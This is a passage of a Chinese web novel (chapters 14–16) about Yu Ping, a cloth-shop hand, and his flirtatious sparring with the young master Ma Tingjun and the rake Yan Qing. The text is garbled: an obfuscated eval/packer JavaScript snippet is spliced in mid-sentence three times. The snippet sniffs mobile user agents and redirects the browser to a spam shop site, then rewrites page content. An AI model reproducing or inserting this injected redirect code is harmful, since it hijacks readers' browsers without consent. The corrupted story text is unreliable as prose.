颜青来打岔,往俞平脸上瞥一眼,笑道:“岂止是霆君,我也很喜欢他呢。” “他是你的新男友?” “目前不是。” 三奶奶道:“不管是不是,时间已经很晚了,再不休息,传出去不清不楚,太坏名声。” 三奶奶一手提着颜青,另一手提麻霆君,一边一个往楼上捉。然而不久后麻霆君回来了,说是来帮忙收拾的。会客厅早晚都打扫,一尘不染,他们没太铺张,把椅子搬回原位就算数了。 詹老板收回六百大洋,仍觉得不可思议,坐在一旁数钱,手指抖得哆哆嗦嗦,一时点不清楚,俞平便在一旁等他。 偏偏麻霆君也不走,和丫鬟没话找话。 俞平掷去一瞥——麻霆君也在找时机偷看他。这一瞥被他眼皮压抑着,力道格外重,足足把麻霆君的心剜下来了。 直到俞平同詹老板要出门,麻霆君才追上来。詹老板连忙与他推辞,他道:“前院修路,夜里看不清楚,怕摔跤。不如我带你们出去,也就一点路。” 说是麻五少爷,亲自送客倒不稀奇。俞平虽是通情达理,不免怀疑起他别有用心,倏地一笑。迈出前厅门槛,俞平停留几步,冷不丁在麻霆君耳边贴住了,道: “嗳,我们是不是真的做不成朋友了?” 麻霆君不答。他嘴角一抹笑藏在夜色里,快步跟上了詹老板。 14.信笺 目送载有兰香的黄包车车棚渐行渐远,属于俞平的一天方才开始。 兰香上学太早,俞平从镇口回来的功夫,鹭镇才陆陆续续正复苏。出发时候鲜少有人的小吃摊前也挤满了人。 十八九岁的男孩还在长身体,兰香还有个哥哥,何氏清楚他们的胃口如何,往往会多塞给俞平一些零钱,意在让他填饱肚子回家。 然而俞平但凡有零钱,都用来给兰香买零食了;最近好不容易攒下一点,依然不如何氏所愿,他避开一切美食,转而进了邮局。 邮局倒是十分冷清,柜台前排队的不超过三人。里边的老先生难得没有打瞌睡,镜片之下的锐利目光上下扫过俞平——谁看俞平邋遢打扮,都猜他大字不识。 “代写信,一角一封。” 俞平自然被他吸引过去。苍老的声音持续招揽着他:“我祖上中过秀才,我前年还在学堂授课。品质有保障,童叟无欺。” 俞平故意道:“祖上中秀才?” 他说得净像是来找茬的。老先生顿了一拍:“唐朝的祖先。” “我是谈四爷。” “不信拉倒!” “我信。”俞平把他攒下的烧饼油条推至老先生面前,笑道,“您帮我写信。” 老先生的态度才缓和不少,铺平信纸,小楷笔蘸着砚台里的墨水:“写什么?” “不知道。” “不知道不要紧,我帮你措辞。你要寄给谁?” 俞平又道:“不知道。” 气得老先生一推纸笔:“哪里来的野孩子!我本来就没几年好活,还要来浪费我的时间!” 俞平被赶出邮局不久,零钱也被丢了出来,铜板阳光下在耀眼异常。他不费心思追寻它究竟落在哪,慢悠悠地晃了过去。不料腰没弯下,见了一只尖嘴,尽数把零钱拱走了。 打狗究竟是看主人——俞平看向抢钱的狗,黑兔衔着铜钱,眼巴巴地向他献起殷勤。 顺着绳子再往上,俞平多打量这人几眼,算打过招呼,勉强笑一笑,道:“我还在想是谁家的狗这么聪明,原来是五爷家的。黑兔当真随了五爷。” 麻霆君道:“你才是狗爹。” 俞平笑道:“我怎么敢骂五爷。” 麻霆君见他双手空空如也地从邮局出来,便道:“你给谁寄信?” “寄信太贵了,我剩下一点钱不够吃饭的,只是来凑热闹。” 俞平笑得真是谦卑,周身却萦绕一种非凡气质,长期熏在大户人家里才会有的,要说是情人——情人待遇有这么好?比这里一个做五爷的还矜贵。 麻霆君不由得皱了眉:“不说就不说,少骗人。” 俞平道:“我哪有本事骗你?我真的从来没进过邮局。” 俞平着实要回布店,麻霆君不知道去哪里,这两人不说目的地各在何处,心照不宣地一起走了。没多时一个往左边晃悠,一个就往右边走几步,只是没出一段路,又会奇迹般地靠拢在一起。 忽然麻霆君顿住脚步,问道:“你年纪多大了?” 俞平道:“十八。” 麻霆君数落道:“十八岁就这样坏心眼。亏你在鹭镇,大家心地善良,否则你早被教训一通了。” “说不定我只能活二十年,十八岁是很高寿了,坏点也无妨。” 俞平毫不客气上下打量他一眼,道,“五爷年纪多大?” 麻霆君必然知道接下来耍什么花招,冷哼了一声,倒也如实招来:“二十一。” 俞平即刻道:“二十一岁还没个人陪你。你要是在枢城,肯定都以为你中了什么邪。” 麻霆君痛点被人戳得不轻,又多少无言以对。咳了咳,转了话题,道:“你别太钻牛角尖——我说,颜青看着浪荡,心思没你复杂。你要是想使什么坏,骗多少钱,都冲我来。” 不料俞平扑哧一笑:“五爷连个暖床的都没有,怎么受的了我?” 谁知道俞平比他想得再不客气一些——这回麻霆君笑也笑不出来,恨不得从来没招惹过他。偏偏那时候黑兔赖在俞平脚边,仰头舔俞平的手,其乐融融,好像他们才是一家人。 麻霆君白准备了几年狗食,心里不悦,道:“既然你想自食其力,就不要再走捷径。” 俞平道:“我每天在布店很辛苦呢,五爷看不到?” 麻霆君道:“看到了。但是鹭镇上喜欢你的人多,我担心你重蹈覆辙。” “你怎么知道喜欢我的人多?” “旁观者清。” “那么,是嫌我把你喜欢的人拐走了?” “清者自清。” 俞平才笑道:“五爷放心,我不喜欢颜青。” 看不出麻霆君心里想什么。他不作为,俞平便猜他少见多怪,简单的答应或是拒绝,沾了感情便难以启齿;又道:“五爷一时鬼迷心窍,我拎得清孰是孰非。大家喜欢的是五爷,我碰巧沾了五爷的光,听几句好话。” 麻霆君便是更加说不出话,干脆蹲下身把狗哄回来。少顷黑兔供在俞平怀里蹭了蹭,算是依依不舍地告别,再度回到麻霆君的身旁。麻霆君好不容易起身,不想告别,扭头要走。 俞平忽然叫住他:“你爹我见过,你娘是哪里的电影明星吗?” 这话问得唐突,麻霆君不免再愣道:“什么?” 俞平笑道:“我看五爷真是英俊,我以前在枢城见过很多人,从来没见过五爷这么英俊的男人。” 看得出麻霆君是真不禁夸,即刻升入虚无的云端之间——先前想得什么三十六计,什么大义凛然,受俞平几句轻飘飘的夸奖,全然前功尽弃了。很是羞涩地挠着后脑勺,结巴道:“也……也还好吧!” “不但脸很英俊,品行也很端正。” “嗳,过奖了。” 俞平从容道:“就是没想到,五爷能有颜青这样一位朋友。” 他的尾音飘忽不定地落在麻霆君心上,麻霆君面上笑了笑,再得意忘形,也冷静下来:谁想到他有这么口蜜腹剑,忙活半天,原来是把自己往火坑上推!便道:“颜青和我一样,喜欢车,也喜欢狗。还有我二姐嫁去作他嫂子这层关系,我们两个交朋友有什么?” 俞平道:“车和狗拢共就几种,哥嫂更是没什么可说。五爷平时还和他说什么?” 俞平说话时候的笑意若有若无,勾得麻霆君汗流不止,每听他多说一个字都是多折磨自己似的;偏偏他先前什么自食其力,什么满腹坏水,俞平那时听得多恼火,这时更是吃准了他,又道:“不要说我喜欢把人看低,倘使五爷有贼心没贼胆,我可以给五爷练手。” 麻霆君严峻道:“练什么手?” 他越是正经,俞平笑得越是开心:“不愧是颜少爷的朋友,我看五爷不是很懂?” 正是往布店的道路,边上有通向树林的羊肠小径;此时镇上居民大多劳作,里头一个人也没有。俞平再是不经意,也十分刻意地快步领在前面,手上冰凉温度在麻霆君衣袖上一闪而过。 俞平道:“我在请五爷,五爷还不进来?” 麻霆君道:“世上多得是纯真的情感,不要以己度人。” 俞平笑道:“是吗?” 背地正是成片矮灌木,密不透风。麻霆君不做表情,五官照样浓墨重彩地搭在一起。 麻霆君徒然开口道:“镇上其实很少有人愿意平等待我,更不用说交朋友。枢城大多少爷小姐都很傲气,我不是当地人,他们光是知道这一点就不肯和我讲话了,连佣人也不会高看我。只有颜青肯理我。” 俞平再打量着麻霆君——全靠一张面孔高攀进豪门的,他以往见过几位,加在一起甚至都不如麻霆君英俊;况且有颜青吹耳旁风,麻霆君还出淤泥而不染,倒是挺身正不怕影子斜的。闲来无事,逗一逗也可爱。 见俞平片刻失神,麻霆君当他一贯游刃有余的破碎了,朝他微笑,又道:“作为朋友,颜青无可挑剔,我们有很多话可以讲。感情的事情我不做评价,平时他其实也不太和我讲。” 俞平道:“所以他们说你洁身自好,都是真的?” 麻霆君点点头,道:“我知道你过去身不由己,不是所有人都像你想得一样,总是好人更多。” 俞平心中暗笑,却装着忸怩,失落道:“我不是故意误会五爷的……果真是我把五爷和颜少爷都想得太坏了,我向你们道歉。” 麻霆君轻松道:“不用了,我知道你在说笑。” 他跟在麻霆君身后往外走,路长得一望无际,走一阵才有岔路。麻霆君有一搭没一搭地关心他在鹭镇的新生活,他闲闲地答着。其实很无聊,来搭讪的不少,然而除了詹兰香,他没和其他人多说几句话。 麻霆君忽然道:“总看你和詹兰香玩在一起,你交到了新朋友,我还挺为你高兴的。” 麻霆君试探得太没水平。他挑一挑眉毛,心中有定数:若是污蔑一番兰香的名誉,兴许能更加精彩。 但他真是把兰香当成亲妹妹看待的,一点阴暗心思,不想牵连到她身上,单是君子论迹不论心一番,道:“我在布店说是帮忙选品,实际杂活也干。老板很疼兰香,她娇生惯养的,平时也使唤我。” 瞄一眼麻霆君,又道:“新的生活充实是充实,可惜无趣了些……” 麻霆君打断道:“等一等,我听懂了。你的意思是,你一个朋友都没有?” “是啊?” “我们不是朋友吗?” 麻霆君很是期待的目光飞来——俞平情不自禁笑了下,飞快借赶蝴蝶的机会掩起口鼻,装着吃惊道:“我那天问过你,你还没答,怎么就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081328|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明不白成朋友了。” 麻霆君便道:“我现在回答你,我们可以做朋友。” “晚啦!过了这个村,就没这个店了。”俞平故意道,“怎么做朋友?你是五爷,我是什么?” 麻霆君快活道:“别看嘴上一口一个五爷,心里一定是把我当成孙子的。” “怎么会?无论怎么说,我和五爷,都是布店长工和少爷的关系。” 俞平逐渐如鱼得水起来,“是赔罪与被赔罪的关系,尊敬与被尊敬的关系。” 他一个人能把麻霆君组建的小团体都顶替了。麻霆君笑道:“别讲究这些。我们可以做朋友。” 俞平道:“我不敢,五爷另请高明去。” 麻霆君自找没趣,俞平再开了口: “天下没有免费的午餐,五爷既然想和我做朋友,我有投名状送给五爷。” 他道,“下次去枢城,尽管报我以前主家的名字,看看谁怠慢你。” 盼来他封闭的过去微微开了丝缝——麻霆君立刻起了精神,装作随口问道:“谁?” “文翡哥哥?” 这语调是照抄颜青的,俞平扎根枢城必然更加深刻,口音比颜青糯了不知道多少。见麻霆君石化在原地,俞平又调戏他道,“你说是不是,霆君哥哥?” 两声哥哥叫得麻霆君头昏脑胀,尤其是俞平的枢城方言口音,比他讲官话时更加磨人,碰巧五月气温蒸蒸日上,麻霆君不光是迈不动步子,骨头更是要原地融化了。强撑道:“我也就在鹭镇上摆阔,你犯不着用原先那套对付我。” 俞平笑道:“这是最纯正的江东口音了,多少人想学也学不像,你还不喜欢?” 麻霆君自暴自弃道:“我在枢城,每当有人不愿睬我,都开始讲方言,就是你现在这样。” “五爷干脆在鹭镇纳几房姨太太,每天享乐,也不用出门找罪受了。” “谁叫你来劝我的?” “真心话。” “我没这个本事,不耽误人家姑娘了。” 俞平调笑道:“什么话,莫非你真喜欢男人不成?” 麻霆君勉强挤个笑出来,又迅速板下脸:“我们连朋友都不是,不劳费你操心。” 俞平道:“唉呀,这么功利?” 麻霆君回避道:“说起来布店一家都是好人,你替他们省钱,不好意思吃他家饭,就来我家吃。” 俞平装作恍然大悟:“五爷弯弯绕绕说这么多,原来是要请我吃饭?” “我是好心。我家不差你这一口。” “我们连朋友都不是,我怎么好意思来吃饭?还是五爷家的饭。”俞平道,“五爷在鹭镇也是名门望族,别看做饭好吃,实际上有的吃苦头。” 这话听的熟悉,麻霆君想起是自己不久前刚说过,谁想俞平现在拎出来对付他。道:“我说的话记这么清楚?” “五爷句句金玉良言,钻进我的耳朵,再也逃不出去了。” 俞平语气轻浮说完这种话,往反方向走,“告辞了,我还要回布店。” 麻霆君劝道:“我真心实意,劝你别回布店。” 俞平笑了笑:“不好。” 回到布店临近中午。俞平清楚中途同麻霆君纠缠太多时间,进门苦思冥想借口,以至忽视了门口的牌子翻在歇业的一面; 店里果真十分冷清,俞平多了几分警觉,只看见何氏慌张前来:“你去哪里了!” 俞平道:“何老板,我不是故意迟到……” 何氏匆匆道:“我当是什么人来和你报过信,别说什么迟不迟到,你肯来就很好了!” 又朝一边努嘴:“他来我们店坐到现在,点名要你为他服务。我说你出去了,他说他愿意等你。” 布店深处是几张长条椅,颜青悠闲地翘着脚歇息,衣着很是光鲜。 俞平几欲昏厥。 何氏叹了口气:“街坊邻居看见他在,都不敢进来。” 俞平指甲掐着肉,心一横,道:“我负责把他送走。” 两人互相搀扶着彼此,步履沉重地来到供客人休息的长凳旁。昔日承载美好记忆的长凳,此时坐着令人闻风丧胆的人物——颜青才开口便出言不逊:“你和霆君真的一点也没有勾搭上?” 俞平则是装糊涂道:“我是本分人,不清楚颜少爷在说什么。” 颜青看着他,眉开眼笑,慢悠悠叫来一旁何氏:“几天前我们达成协议,你家儿子弄丢霆君生意,霆君不着急叫你们向他赔钱,他说有事会来布店相求。老板,有这事吗?” 何氏道:“颜二爷,你说的是。” “这笔生意是我牵线的,我现在很有事情求布店帮忙。” 颜青道,“我想请俞平陪我看一场电影。我可以把你们的赔款减免一百大洋。” 15.黑伞 一百大洋。 跟随颜青出门后,俞平把布店门口悬挂的木牌翻面成“欢迎光临”。回头时看见颜青背靠着的黑色轿车。他认得麻霆君的车,心里又尽数不信,不相信麻霆君会来看他出洋相,或者为了他僵硬了同颜青的关系。 颜青懂得他在愣什么,笑道:“霆君的车让我开来了,他很爱惜这辆车,比我的新很多。” 俞平道:“谢谢颜少爷。” 谁想到颜青是真绅士,派头十足,手在空中比了几圈,车门正是神不知鬼不觉中拉开的;他再弯腰朝俞平鞠了躬,顺势后退道:“密斯特俞,请上车。” 一百大洋……俞平忍气吞声坐进车里。 上车后颜青依旧不老实,发动汽车的时候,他措不及防地拉起俞平的手腕,稀世珍宝般打量着俞平的左手,笑道:“你这手一看就是少爷手,有福气,从来不干活。” 俞平语气惊讶:“这都看出来了?” “我当然看得出来,我最会看美人手。” 颜青笑完他的手,笑到他的眼睛上了,“其实我还看的出来,霆君很喜欢你。既然他无福消受,我来帮他代劳。” 一百……一百……俞平轰然倒地。 颜青见他如死人一般消沉,又道:“是不是肚子饿了?电影院边上有家炒菜馆不错,食材很新鲜,我们先垫了点。” 俞平抽开手的时候,眼睛只盯着挡风玻璃外的前方。什么也不给他留,道:“颜少爷,你知道,我肠胃一贯不太好。” 颜青道:“我还知道镇上还有家不错的面馆,不如我们去吃面,好消化。” 又见俞平全然干涸在副驾驶座上,颜青自作主张道:“是不是担心和我一起吃饭,镇上会有风言风语?” 俞平死马当活医般答应了他。颜青笑道:“任由他们去,我以后会带你去枢城的。” 面条总归是避人耳目,在车上吃的,尽管所有人都看见俞平躲在车上。为免于颜青的搭话,俞平狼吞虎咽吃下一碗汤面,颜青再替他把碗筷换到店里。 重新上路时候,俞平肚子涨着,多嘴问道:“颜少爷,你不饿吗?” 颜青轻佻道:“你这么关心我?” 俞平讪讪笑了下,当真胃里不太舒服起来,哀怨是早前一语成谶,平白无故添上一点病。 电影院说是在镇口,实则要多开出好多路,离学堂更近一些;车程中颜青尚不安分,拿间隔中间的手刹做起文章。他请俞平看一看手刹。 “这是王母娘娘的银河。” 说这话时颜青可谓屈尊降贵,“我是牛郎,你是仙子。迢迢银河阻挡不住我们心意相通。” 纵使听他说这话,俞平的心里已然被炸了无数响雷,转头看见颜青炽热的目光,比无数风雨交加更是恐怖,道:“你和五爷也这么说话吗?” 颜青笑道:“我们霆君英俊归英俊,我对他实在不感兴趣。” “郁蕙心呢?”俞平道,“郁蕙心怎么会有你这种朋友?” “郁小姐是有点势利,其实三教九流的朋友都交点。”颜青问道,“我听你叫她名字太顺理成章,你们之前很熟悉吗?” 俞平才发觉自己实在顺了口——不愧是做好兄弟的,颜青和麻霆君真像是被不规整分成两半的图案,一个傻得过头,一个聪明得过头,重新平均才可能有点人模人样。 他才被呆傻的一位冲击过,现在又来遭颜青的罪,早心力憔悴了,更不用说把持嘴上一关;倘使颜青问他几岁才断奶,他也一五一十地答出来。 俞平抢救道:“郁小姐有很多位,我怕你不知道我在说谁。” 颜青道:“有名有姓的郁小姐单她一位,我怎么会猜到别人身上?” 俞平忽然闭上眼睛,痛苦叫了声,道:“我是伙计的命,坐不得少爷的车。头好晕!” 颜青笑道:“不是吧?这车挺高档,怎么会摇晃?” 俞平道:“我看见列祖列宗在前方……颜少爷,我出幻觉了,是不是命不久矣?” 颜青才道:“马上就到了,忍一下。” 到影院门口,俞平早一步脱离车里,等颜青去停车的功夫,他做贼心虚地在门口反光玻璃上照了照。衣着实在不敢恭维,相貌却光彩未减。俞平时常会恍惚,仿佛上车前他还在香岛,还在枢城——犯愁的时候颜青来了。他接过颜青手里的票,一同步入影院。 电影放映不过八十分钟。这部据说包揽国际奖项的电影,看得俞平味同嚼蜡。直到散场,他除去隔壁的学生高谈阔论的八卦内容,其余一概不知。 一出影院,他便迫不及待地问颜青:“一百大洋怎么减免给我?” 颜青轻松道:“不用担心,我回去和霆君讲一声。” 俞平才觉得安心不少,抬眼看见景色也美丽起来。电影时间里外面下了场雨,此时有收尾的趋势。鹭镇到底是江南水乡,一派烟雨迷蒙。 “说起来,我总觉得我见过你,不是在和你说笑。” 俞平光顾着看雨,不曾想到颜青盯着他多时,待俞平警觉地看向他,颜青立刻一副茅塞顿开的样子,道:“我记起来了!” 这位时常隐匿着过去的朋友,惊恐地瞪大了他漂亮的眼睛——颜青见他吓得不轻,笑道:“在我的梦里,那时你是天上仙子。怎么吓成这样!” 然而俞平实在惊魂未定,颜青又道:“莫非你和霆君情投意合,碍于我的关系,现在进退两难?要真是这样,你和我说实话,我会帮助你和他终成眷侣的。” 俞平发出微弱的声音:“不是。” 颜青道:“是什么?” 俞平再看了会雨,好不容易恢复神智正常的模样,道:“颜少爷,我们实在合不来,请不要为难我了。” 又局促道:“感情归感情,如果有什么要布店达成的事情,我是愿意公私分明的。” 颜青笑道:“你别太紧张,这多好办,不要让我在霆君的床上见到你就行了。” 俞平并不多语,低头卷着裤脚。颜青道:“外面下雨,你一个人怎么走?我开车送你回去。” “颜少爷,不麻烦你,我自己告辞了。” 俞平片刻不犹豫地冲进雨帘当中。 傍晚的雨水侵蚀着天幕,本该出现绚烂的晚霞,那时却没有。俞平早上在麻霆君身上得了势,本该保持一天的好心情,可惜也没有。 每跑一步天色更暗一分,方才是灰绿色的天,他跑回镇口已然漆黑一团,如同他遭海难时的绝望,多下沉一寸,水也暗一分。 却有像浪潮一样推举俞平上岸的契机——那时俞平看见,前方有撑伞行进的几位路人。 绝处逢生的俞平,慌不择路,随意钻进了一把纸伞下,为图少淋一寸雨,把那人的手臂也挽上了,恳求道:“我是布店的伙计,身体实在吃不消了,请你送我一程。” 不等那人应答,俞平加码道:“大家都是街坊邻居,请帮帮我……以后你挑我在的时候来扯布,我保证多给你剪一大截。” 顿时他身后其他人都开始朝他们吹起口哨。诡异的阿吉声音从中传来: “俞平!俞平!” 他欢呼道,“俞平来咯——” 避开天灾却绕不开人祸的俞平,遭受了夹击: 胖子道:“布店的伙计眼光就是好。” 瘦子道:“布店的伙计能力就是强。” 阿吉再道:“这么多人一齐走,偏偏挑中我们五爷!” 俞平骤时浑身僵硬,好不容易有力气抬头之时,恰好有一道闪电划破乌云。麻霆君的脸跟着白了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093230|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬——去找谁不好,偏偏遇上他!难怪他的伞看着最结实。 阿吉扯着嗓子道:“我们五爷真倒霉,遇上你这么个晦气鬼!” 瘦子一展英姿:“王八钻进玄武壳。” 胖子跟着放肆:“公鸡踮脚望仙鹤。” 俞平早没力气逃跑,举步维艰,只能哀怨起命运的不公:“我就是晦气鬼,有什么好笑话我?我走就是了。” 麻霆君倒是揽着俞平的肩膀,抱在怀里,嗤笑道:“我早上怎么和你说的?” 俞平要被他逼得哭了。他还较着劲,又道:“我劝你别回布店,你偏不听!” 俞平道:“你们能不能放过我!” 阿吉阴阳怪气地喊道:“一定是吃到颜二爷的苦头,所以想起我们五爷的好啦!” 胖子瘦子宽容得多: “亡羊补牢。” “悬崖勒马。” 向来都是俞平高高在上数落别人的,此般受辱,倘使俞平继续忍让,那他必然不是俞平了,即刻想再冲进雨帘里;苦于麻霆君的力气实在大,俞平挣脱不开,任由他把自己拽了回来。 麻霆君道:“跑什么?大家都是街坊邻居,我还想请你多给我剪几尺布。” 俞平心如死灰道:“我就不该来这里……” 不等麻霆君开口,瘦子嗅到不对,马上道:“俞平,我们五爷对你这么好,你怎么和他说话!” 俞平气若悬丝:“五爷,我错了。” 麻霆君道:“错哪了?” 俞平道:“哪里都错。” 麻霆君笑了笑,不再追责他,把他搂得更紧了些。俞平便绝望地驼着背,几步路走得软软绵绵,全靠麻霆君带着他动。天知道麻霆君身上多么温暖,若非在雨里苦苦行走,俞平简直想要昏在他身上不复醒来;若非是今晚雨帘密布,身后几个喽啰一个赛一个吵闹—— 瘦子高歌赞颂:“记住我们五爷对你恩重如山,我们五爷是最应该被歌颂的人物。” 胖子趁火打劫:“不止五爷,我们几个来布店,买多少布,你就送多少。” 胖子瘦子再来了几轮,气数将尽,阿吉也没什么场能捧。好在麻霆君始终一言不发,俞平才勉强恢复些精力。 他不但是步履有力了些,脑海中早灵光一闪,道:“我今天才发现,我从前其实见过五爷。” 麻霆君还真搭理他了:“什么时候?” 俞平便把颜青的玩笑搬上台面:“我的梦里。那时五爷是天上雷神。” 天上闷雷滚滚,俞平才明白——不是颜青不讨人欢心,是有些道路注定会走向失败,而非事在人为。 显而易见的是,俞平更加需要救场,尴尬笑了声,道:“雨好像小了。” 麻霆君照旧黑着一张脸,俞平慌忙改口道:“原来是五爷的伞又大又结实,我从来没见过这样好的雨伞。” 甚至身后三位虾兵蟹将也是相当沉默。俞平不解其意,也不甘冷场,一人分饰三角起来。 “你们五爷家财万贯。” 又道,“你们五爷富可敌国。” 他还没有遗漏阿吉的角色:“你们五爷的伞一张开,整座白鹭镇都不会淋到一寸雨水。” …… 沉默之中更加心死的俞平,为自己试图哄麻霆君开心这件事,画上一个憋屈的句点。 一行人各自心怀鬼胎,直到麻霆君的伞栖停布店门口。望见詹老板满脸焦急地在门口等候,俞平像找到救命稻草一样向他奔去。 詹老板把油纸伞交给俞平后再不管不顾,立刻对麻霆君苦涩道:“五爷,你身上怎么湿透了,快进来坐一坐!” 借着昏暗的灯笼,俞平回头看去,麻霆君好像确实没有留存一块干爽之地。原来伞都打在了自己身上。 16.油灯 麻霆君好像是有备而来,在詹老板的招呼下进到布店里。有来时他这等善心,俞平哪有放肆的机会,恭恭敬敬把他们一行四把伞撑开,在店门口晾着。 胖子瘦子顺着他们五爷一同走,只有阿吉来招呼他:“颜二爷请你看的电影,是不是很有趣?” 俞平假笑一刻,道:“实在是太有趣了,谁没看过是谁的损失,赶快叫五爷带你们去一次。” 阿吉道:“这部电影老早就上映,五爷带我们去枢城玩的时候,都带我们看过了。” 俞平也不是当真想和他议论电影如何,店里何氏煮了姜汤驱寒,见缺了两人,叫他们去里面讲话。 阿吉嘴上乐呵呵地应着,返回来和俞平讲耳语:“颜二体面不假,缺的是真心。你来跟我们五爷混,不会出错的。” 俞平充耳不闻,进去后捧起一碗姜汤喝着。 换季时候忽冷忽热说不清楚,何氏看他每根发丝都向下滴水,关心道:“小俞平,灶上热水在烧,你等下先把澡洗了,换件干净衣裳。” 俞平道:“谢谢老板。” 瘦子起哄道:“凭什么就他娇气,我们五爷也湿着呢!” 麻霆君再是被雨打了一路,好歹穿的多,单湿了衣服,顶多身上凉点。 何氏又道:“俞平等一等,先让五爷在我们家洗了。我家条件简陋,倒是挺干净的。” 胖子拦在前面:“没有这种好事!” 麻霆君咳了声,道:“劳请帮我拿一块毛巾,我换件衣服就行了。” 俞平半碗姜汤下肚,心思活络了些,插嘴道:“把胖子的衣服换给你,他的衣服所有人都穿的下。” “俞平,少说点!” 这时詹老板从楼上下来,怀里抱着一套靛蓝色衣物,对麻霆君道,“这原本是给兰竹准备的衣服,特地买大了几号,兰竹还没来得及试,都是新的。五爷穿走好了。” 麻霆君接过衣服:“我明天找人来付钱。” 詹老板道:“五爷,你先前说有求布店再帮忙,这便算进里面。” 布店里也没个试衣服的地方,要是平日里有人来试衣服,拉几块布挡着便算试衣间,叫麻霆君将就于此实在说不过去。 詹老板便道:“五爷去兰竹的房间换衣服,兰竹的房间大。” 詹老板嗓门不小,二楼的兰香听见了,急匆匆从房间里赶出来,冲在楼梯口:“我摊了东西在哥哥的房间,不准外人进来!” 何氏喊道:“你这孩子太不懂事了,是五爷!麻霆君!” 兰香道:“那也不准!我是詹兰香!” 兰香说完便甩了门。好大一声闷响结束,麻霆君那行人比布店几位更加如坐针毡。 胖子圆场道:“小女孩凶点好,也应该有这种意识,多少防着点外人。” 麻霆君满脸的拘束,俞平心里暗暗嘲笑他,不留神表现在了脸上。不凑巧身边几个最是会察言观色的,胖子他们便跃跃欲试,要拿俞平开刀。 这几人什么威力!俞平赶快道:“五爷去我房间里换衣服,我没什么见不得人的。” 眼见麻霆君起身要上楼,换作瘦子起身阻拦。阿吉在地下一脚把他绊得踉跄,小声凑在他耳边:“大哥,你不知道,就是有这种好事。” 布店原本就两层,阁楼起初空余着,后来俞平搬进去住,几个柜子拼在一起就当床铺了,更不用说其他设施。光是多一个麻霆君,俞平便觉得这里前所未有之小,更别提他还要擦拭身子,实在施不开拳脚。 “五爷请自便吧。” 俞平点了油灯,背对他道,“我是来拿衣服的,很快就走。” 麻霆君道:“你到底有多少衣服?” 俞平还真数了数:“三套。” “我怎么看你每天穿的都一样?” 麻霆君扣子都不解,光顾着聊天了——俞平抱出另一套一模一样的布衫,睨他一眼,笑道:“五爷这么关注我?” 麻霆君嘴硬道:“你初来乍到在鹭镇,我当然要知道你过得怎么样。” 俞平道:“要是过得不好,我早就跑了,何必五爷多心?” 麻霆君嘴角抽搐一下,慢慢卸手表,眼睛却又忍不住往俞平身上瞟了,道:“我过两天要再去枢城,有什么要叫我买的?” 俞平道:“五爷知道的,我连信都寄不起。” 麻霆君道:“布店勉强算宽裕,只能供你温饱。我想你以前生活不是这样,有什么习惯用的东西,现在没有,都可以叫我带回来,我不收你钱。” “有个遮风避雨的地方我就很满足了,哪敢妄想太多。” “你知道我说的是两码事,不要混为一谈。” “无非是做情人和过情人的生活,有什么好区分开的。五爷到底是看不上我,才把我和从前绑在一起。” 麻霆君不再说话了。外头淅淅沥沥不减反增,阁楼的天窗修得不够牢固,时常漏下一两滴。 雨下得又阴又冷,俞平的脚步要像受潮的苏打饼干一般,湿漉漉地黏在地上,眼光转了一轮,捺在麻霆君身上,好像唯独他的怀抱是热的。偏偏他的胸膛不能把俞平烘烤干脆,俞平便是软塌塌倚在墙上,闲闲开了口: “话又说回来,情人么,有情便是人。” 俞平道,“我早听五爷的劝,改过自新了,怎么还叫我记起来呢?” 俞平嘴角笑意实在隐秘,尤其是昏暗夜色与豆大灯光交加,麻霆君看不真切,却是出于自保,清楚不能够继续趟他这趟浑水。 不多时灯居然烧灭了。油灯在布店年数太久,点不起来不足为奇。不过阁楼里还有一位五爷,俞平没有怠慢的道理,从柜子里换了盏新的,重新点起来。 麻霆君试探喊了他一声,俞平应了,麻霆君才道:“颜青欺负你了吗?” 俞平平静道:“没有。” 麻霆君道:“那你怎么一个人跑回来?” 俞平凡有心思都在点火上了,随口坦白道:“我说感情的事情合不来,不好意思再坐他车,逃跑了。” 火焰擦在灯芯上,转头看见麻霆君表情一道明亮起来——他在高兴什么?俞平不受控制挑了挑眉,令他无语凝噎的不但于此,毕竟麻霆君说话时的语气还古怪地压抑着: “你是单不喜欢他,还是想过常人那般循规蹈矩的生活,传宗接代?” 俞平轻松朝他笑了笑,把衣服晃给他看:“我要去洗澡了,五爷还想叫我陪着说话吗?” 走时带上了门。阁楼里除去硬床外再无歇脚之地,麻霆君坐在床尾,泄气似的长叹一口气,只觉湿衣服更凉了几分。那时俞平突然返回来,也不敲门,光靠开门时吱呀一声提示他。 麻霆君条件反射看去——俞平眨了眨眼,笑道:“我想起来了,我要吃蝴蝶酥,国际饭店边上那一家。” 麻霆君问道:“国际饭店在哪里?” “你肯定知道的,我不给你重复了。” * 俞平从澡间出来,麻霆君他们正巧要走。 想来刚才勉强算道过别,俞平便缩在天井,没有回布店送客的意思,百无聊赖地看着屋檐滴水,等声音尽数消失,再无事人般进到布店。 兰香早下了楼,在算盘前拨半晌,嘴里念念有词。俞平挨在她边上:“大小姐,什么风把你刮来了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 